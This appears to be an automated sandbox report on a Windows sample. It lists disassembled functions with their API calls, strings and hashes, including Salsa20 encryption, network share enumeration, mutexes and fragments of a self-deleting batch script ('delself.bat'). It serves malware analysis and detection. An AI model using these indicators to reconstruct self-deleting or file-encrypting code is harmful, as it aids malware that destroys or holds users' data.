Opcode Fuzzy Hash: 089d6889beab09a3128890ae3885ed7220e051c4a26208cb39ba643554b8630a
Instruction Fuzzy Hash: 6ED0A7323483147BF3240A99AC07F877ACCCF15B10F50803BF609DA1C0D5E1F8109699

Function 00F7FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F70BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00F70C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 00F7FDA4

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: c58ae0bc143f1de9776dfc5858cf20af0748536127c07e1f68a8e6e3bf0dc91c
Instruction ID: e2f6a9d568c2cde00ea783eb4b23e068ea4ef6434f374f853d7c058959dd02c8
Opcode Fuzzy Hash: c58ae0bc143f1de9776dfc5858cf20af0748536127c07e1f68a8e6e3bf0dc91c
Instruction Fuzzy Hash: 4CE02B31104300AAE3309B68CC01F86BBC49F18724F00C81EF3CAAB9C1C5F1B00487E9

Function 00F7FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,01089230), ref: 00F7FDD6

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 6b89e77b2b04dde1a3a13a9ac4e8c97817146c2e27f279be976088e7d415da5d
Instruction ID: 0608b92e1ae287f58027db7e602be80d2fa642031ffabf64a50ecb5bd5e1498c
Opcode Fuzzy Hash: 6b89e77b2b04dde1a3a13a9ac4e8c97817146c2e27f279be976088e7d415da5d
Instruction Fuzzy Hash: 3FD022313CC30537E3202EA5AC03F1D3AC88718B00F10403AF289D82D0DAB6F020AB1D

Function 00F820B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 00F820C1

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 6e40b5ae364c69c0c6533ab46a7ce2a3359a95e6ca0e44313c45b33dfad9f6ca
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: 54B0927244020C77CF012E82EC02A893B1DAB50760F048020FB1C18161EABBE665A789

Function 00F80FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00F80FE8

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 5054b6b277d0191b573721088923777aaa28b0493263bbf95b5e35d869771a8c
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: A2B0927244020C77CE012A82EC02A893B1DAB416A4F008020FB0C18162A677A6A1AA89

Non-executed Functions

Function 00F982A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 00F982B9
_wcscmp.LIBCMT ref: 00F982CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00F98568,?,00000000), ref: 00F982E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00F98568,?,00000000), ref: 00F98310

Strings

ACP, xrefs: 00F982B3
OCP, xrefs: 00F982C4

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: d889582a201a3bc4f88d53fc2cf492404e00e3d66bc39170b8987a9926616518
Instruction ID: 292198e52cda2e318fe8d6d959bd07eddd47dcddc7333217c669f3a748305f1e
Opcode Fuzzy Hash: d889582a201a3bc4f88d53fc2cf492404e00e3d66bc39170b8987a9926616518
Instruction Fuzzy Hash: 74018032604605AAFF30AF5ADC05FDA3798AB06BA0F208025F908DA051EF71DA42E7C4

Function 00F6C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 00F6C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 00F6C090
input != nullptr && output != nullptr, xrefs: 00F6C095

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: de023acd7375771e547f637a32e5dd7f5ee903c247967b746de9601c0fcd0854
Instruction ID: d2574a2e738b8f2cd28f60d63aa4ace526933d09193bfcbb434e5002a21f2608
Opcode Fuzzy Hash: de023acd7375771e547f637a32e5dd7f5ee903c247967b746de9601c0fcd0854
Instruction Fuzzy Hash: 68C19D75E002499FCB54CFA9C885AEEFBF1FF48300F24856AD959E7201E334AA558B94

Function 00F724E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 00F724FE
GetLastError.KERNEL32 ref: 00F72509
CloseHandle.KERNEL32 ref: 00F7251C
CloseHandle.KERNEL32 ref: 00F72539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00F72550
GetLastError.KERNEL32 ref: 00F7255B
CloseHandle.KERNEL32 ref: 00F7256E

Strings

D, xrefs: 00F72720
@echo off:trydel ", xrefs: 00F7262A
delself.bat, xrefs: 00F7261C
TEMP, xrefs: 00F725DF
"if exist ", xrefs: 00F72648
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 00F724F5
del ", xrefs: 00F72674
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00F72547
" goto try, xrefs: 00F72666

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 491c3f57b05440195b3ed5d51241f7e963730be4a62b7d0cc8b285ef2001e6a5
Instruction ID: 0513c339764c0b58ff3c4fa7400dd47ad361b031b989d4d239301469b10c651a
Opcode Fuzzy Hash: 491c3f57b05440195b3ed5d51241f7e963730be4a62b7d0cc8b285ef2001e6a5
Instruction Fuzzy Hash: 42714F72940218AAEB70DFA0DC89FDE77ACFB45301F104596F649E6044DF7A5A48CF61

Function 00F71900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00F71915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00F71932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00F71941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00F71948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00F71956
lstrcpyW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00F71962
lstrcatW.KERNEL32(00000000, failed with error ,?,00000400,?,00000000,00000000), ref: 00F71974
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00F7198B
lstrcatW.KERNEL32(00000000,01060260,?,00000400,?,00000000,00000000), ref: 00F71993
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00F71999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00F719A3
_memset.LIBCMT ref: 00F719B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 00F719DC

Part of subcall function 00F72BA0: lstrlenW.KERNEL32(?), ref: 00F72BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00F71A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00F71A04

Strings

failed with error , xrefs: 00F7196E

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 83cf3e21b2a9b0f3641027ae8889340f8d779c8dc09431bb47a5cffa03e978a9
Instruction ID: 1e0028c6fca756dad718910b8df0b339f844ee7df2fd871a81f8543851d141e7
Opcode Fuzzy Hash: 83cf3e21b2a9b0f3641027ae8889340f8d779c8dc09431bb47a5cffa03e978a9
Instruction Fuzzy Hash: F321F832A40218B7E7316B649C46F6E7A3CEF86B11F204016FB45B6180DF7D1E45ABE6

Function 00FE22E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB49A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00FB4B72), ref: 00FB49C7
Part of subcall function 00FB49A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 00FB49D7
Part of subcall function 00FB49A0: GetDesktopWindow.USER32 ref: 00FB49FB
Part of subcall function 00FB49A0: GetProcessWindowStation.USER32(?,00FB4B72), ref: 00FB4A01
Part of subcall function 00FB49A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00FB4B72), ref: 00FB4A1C
Part of subcall function 00FB49A0: GetLastError.KERNEL32(?,00FB4B72), ref: 00FB4A2A
Part of subcall function 00FB49A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00FB4B72), ref: 00FB4A65
Part of subcall function 00FB49A0: _wcsstr.LIBCMT ref: 00FB4A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00FE2316
CreateCompatibleDC.GDI32(00000000), ref: 00FE2323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00FE2338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00FE2341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 00FE234E
SelectObject.GDI32(00000000,00000000), ref: 00FE235C
GetObjectA.GDI32(00000000,00000018,?), ref: 00FE236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 00FE23CA
GetBitmapBits.GDI32(?,?,00000000), ref: 00FE23D6
SelectObject.GDI32(?,?), ref: 00FE2436
DeleteObject.GDI32(00000000), ref: 00FE243D
DeleteDC.GDI32(?), ref: 00FE244A
DeleteDC.GDI32(?), ref: 00FE2450

Strings

.\crypto\rand\rand_win.c, xrefs: 00FE2383
DISPLAY, xrefs: 00FE2311

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: c4e90dd57c3b350c9b99b3dafde4f801cef81164c5e11bbe33ab79835aac7198
Instruction ID: f1cbcda9625128872aa35700943377694cd7c19fcdca05bc9350fd159b15e3d0
Opcode Fuzzy Hash: c4e90dd57c3b350c9b99b3dafde4f801cef81164c5e11bbe33ab79835aac7198
Instruction Fuzzy Hash: D4419971944300ABE3305F759D85F6FFBF8FF86710F140519FA9496291E77AA8009BA2

Function 00FC35B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00FC36AA
_strncmp.LIBCMT ref: 00FC36DA
_strncmp.LIBCMT ref: 00FC3835
_strncmp.LIBCMT ref: 00FC3946
_strncmp.LIBCMT ref: 00FC39EA
_strncmp.LIBCMT ref: 00FC3A06
_strncmp.LIBCMT ref: 00FC3A27

Strings

.\crypto\pem\pem_lib.c, xrefs: 00FC3709, 00FC374F, 00FC3791, 00FC3A69, 00FC3B02, 00FC3B62, 00FC3B85, 00FC3BDA
-----END , xrefs: 00FC382F, 00FC3940, 00FC39E4
, xrefs: 00FC3A90
-----BEGIN , xrefs: 00FC36A4
-----, xrefs: 00FC36D4, 00FC3A21

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 6fc16a17eec0798e38018ceccf7b2605b5585a6653dd473acff69caa524f0818
Instruction ID: e25cc4e3b1b892879aba88155e661eb6ba7e9bf900fa8436024e4a38e7155469
Opcode Fuzzy Hash: 6fc16a17eec0798e38018ceccf7b2605b5585a6653dd473acff69caa524f0818
Instruction Fuzzy Hash: E0F13BB2A083426BD721EA64DD43F9B77D89F55744F04482CF98CDB283E674DA04A793

Function 00F85A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00F85AAE

Part of subcall function 00F88C96: __calloc_impl.LIBCMT ref: 00F88CA5

__calloc_crt.LIBCMT ref: 00F85AD2
_free.LIBCMT ref: 00F85AE0
__calloc_crt.LIBCMT ref: 00F85AEE
_free.LIBCMT ref: 00F85AFE
_free.LIBCMT ref: 00F85B04
__copytlocinfo_nolock.LIBCMT ref: 00F85B13
__wsetlocale_nolock.LIBCMT ref: 00F85B20
__setmbcp_nolock.LIBCMT ref: 00F85B34
_free.LIBCMT ref: 00F85B42
___removelocaleref.LIBCMT ref: 00F85B49
___freetlocinfo.LIBCMT ref: 00F85B50
_free.LIBCMT ref: 00F85B56

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 59b5e2e63354763f1598cc59de58e9685819984fc9bd33348184b6b777e57675
Instruction ID: 659a8e954164b171e78e2dcde88d002dcee6f8894a67fae136466f78dac850e3
Opcode Fuzzy Hash: 59b5e2e63354763f1598cc59de58e9685819984fc9bd33348184b6b777e57675
Instruction Fuzzy Hash: 0E210532508A41ABEB257F64DC46ECFBBD4DF81F60F604429F484990A2EF3A9800FB50

Function 00FB49A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00FB4B72), ref: 00FB49C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 00FB49D7
GetDesktopWindow.USER32 ref: 00FB49FB
GetProcessWindowStation.USER32(?,00FB4B72), ref: 00FB4A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00FB4B72), ref: 00FB4A1C
GetLastError.KERNEL32(?,00FB4B72), ref: 00FB4A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00FB4B72), ref: 00FB4A65
_wcsstr.LIBCMT ref: 00FB4A8A

Strings

Service-0x, xrefs: 00FB4A80
_OPENSSL_isservice, xrefs: 00FB49D1

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 06585754c04d4de440f926812dd9375cc501bc46d0d043f399b4c3994bbbe1bb
Instruction ID: c8065c687f420b169a5ce9f56378a02bb9e97b70e541f75e4033afbc62df389d
Opcode Fuzzy Hash: 06585754c04d4de440f926812dd9375cc501bc46d0d043f399b4c3994bbbe1bb
Instruction Fuzzy Hash: 4631D431A40104ABEB30EFBADD466EE77BCEF44320F204259F856E71C5EB39A9009B50

Function 00FB4AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00FB4C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,00FB480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00FB1D37,00000000,00F6CDAE,00000001,00000001), ref: 00FB4AFA
GetFileType.KERNEL32(00000000), ref: 00FB4B05
__vfwprintf_p.LIBCMT ref: 00FB4B27

Part of subcall function 00F8BDCC: _vfprintf_helper.LIBCMT ref: 00F8BDDF

vswprintf.LIBCMT ref: 00FB4B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00FB4B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00FB4BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00FB4BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00FB4BD3

Strings

OpenSSL: FATAL, xrefs: 00FB4BC7
OPENSSL, xrefs: 00FB4B77

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

